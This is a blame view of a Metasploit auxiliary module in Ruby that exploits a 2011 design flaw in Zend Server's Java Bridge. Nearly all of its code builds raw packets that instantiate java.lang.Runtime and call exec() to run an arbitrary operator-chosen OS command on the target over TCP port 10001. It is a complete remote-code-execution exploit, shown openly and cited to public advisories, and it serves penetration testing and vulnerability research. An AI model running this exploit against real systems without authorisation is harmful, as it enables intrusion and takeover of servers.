Files
metasploit-gs/modules/auxiliary/admin/zend/java_bridge.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

84 lines
2.5 KiB
Ruby
Raw Normal View History

2011-04-01 22:01:46 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2011-04-01 22:01:46 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Auxiliary
2011-04-01 22:01:46 +00:00
include Msf::Exploit::Remote::Tcp
2013-08-30 16:28:54 -05:00
2011-04-01 22:01:46 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Zend Server Java Bridge Design Flaw Remote Code Execution',
'Description' => %q{
This module abuses a flaw in the Zend Java Bridge Component of
the Zend Server Framework. By sending a specially crafted packet, an
attacker may be able to execute arbitrary code.
2013-08-30 16:28:54 -05:00
2011-04-01 22:01:46 +00:00
NOTE: This module has only been tested with the Win32 build of the software.
},
'Author' => [ 'ikki', 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '71420'],
2013-10-21 15:07:07 -05:00
[ 'ZDI', '11-113' ],
2012-10-23 21:02:09 +02:00
[ 'EDB', '17078' ],
2011-04-01 22:01:46 +00:00
],
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2011-03-28'))
2013-08-30 16:28:54 -05:00
2011-04-01 22:01:46 +00:00
register_options(
[
Opt::RPORT(10001),
OptString.new('CMD', [ false, 'The OS command to execute', 'cmd.exe /c echo metasploit > %SYSTEMDRIVE%\\metasploit.txt']),
])
2011-04-01 22:01:46 +00:00
end
2013-08-30 16:28:54 -05:00
2011-04-01 22:01:46 +00:00
def run
2013-08-30 16:28:54 -05:00
2011-04-01 22:01:46 +00:00
cmd = datastore['CMD']
2013-08-30 16:28:54 -05:00
2011-04-01 22:01:46 +00:00
connect
2013-08-30 16:28:54 -05:00
2011-04-01 22:01:46 +00:00
java_object = [0x33000000].pack('V') + [0x00000000].pack('V')
java_object << [0x0c000000].pack('V') + "CreateObject"
java_object << [0x02000000].pack('V') + [0x00000004].pack('V')
java_object << "\x11" + "java.lang.Runtime" + "\x07"
java_object << [0x00000000].pack('V')
2013-08-30 16:28:54 -05:00
2011-04-01 22:01:46 +00:00
print_status("Creating the Java Object 'java.lang.Runtime'")
sock.put(java_object)
2012-06-04 15:31:10 -05:00
res = sock.get_once() || ''
2011-04-01 22:01:46 +00:00
classid = res[5,4]
2013-08-30 16:28:54 -05:00
2011-04-01 22:01:46 +00:00
runtime = [0x16000000].pack('V') + classid + [0x0a000000].pack('V')
runtime << "getRuntime" + [0x00000000].pack('V')
2013-08-30 16:28:54 -05:00
2011-04-01 22:01:46 +00:00
print_status("Invoking static method 'getRuntime()'")
sock.put(runtime)
2012-06-04 15:31:10 -05:00
res = sock.get_once() || ''
2011-04-01 22:01:46 +00:00
methodid = res[5,4]
2013-08-30 16:28:54 -05:00
2011-04-01 22:01:46 +00:00
exec = [0x00].pack('n') + [21 + cmd.length].pack('n') + methodid
exec << [0x04000000].pack('V') + "exec" + [0x01000000].pack('V')
exec << "\x04" + [0x00].pack('n') + [cmd.length].pack('n') + cmd
2013-08-30 16:28:54 -05:00
2011-04-01 22:01:46 +00:00
print_status("Invoking method 'exec()' with parameter '#{cmd}'")
sock.put(exec)
2012-06-04 15:31:10 -05:00
success = sock.get_once() || ''
2011-04-01 22:01:46 +00:00
if (success =~ /\x00\x00\x00/)
print_status("Cleaning up the JVM")
rm = [0x11000000].pack('V') + [0xffffffff].pack('V')
rm << [0x05000000].pack('V') + "reset"
rm << [0x00000000].pack('V')
sock.put(rm)
else
print_error("Failed to run command...")
disconnect
return
end
2013-08-30 16:28:54 -05:00
2011-04-01 22:01:46 +00:00
disconnect
2013-08-30 16:28:54 -05:00
2011-04-01 22:01:46 +00:00
end
end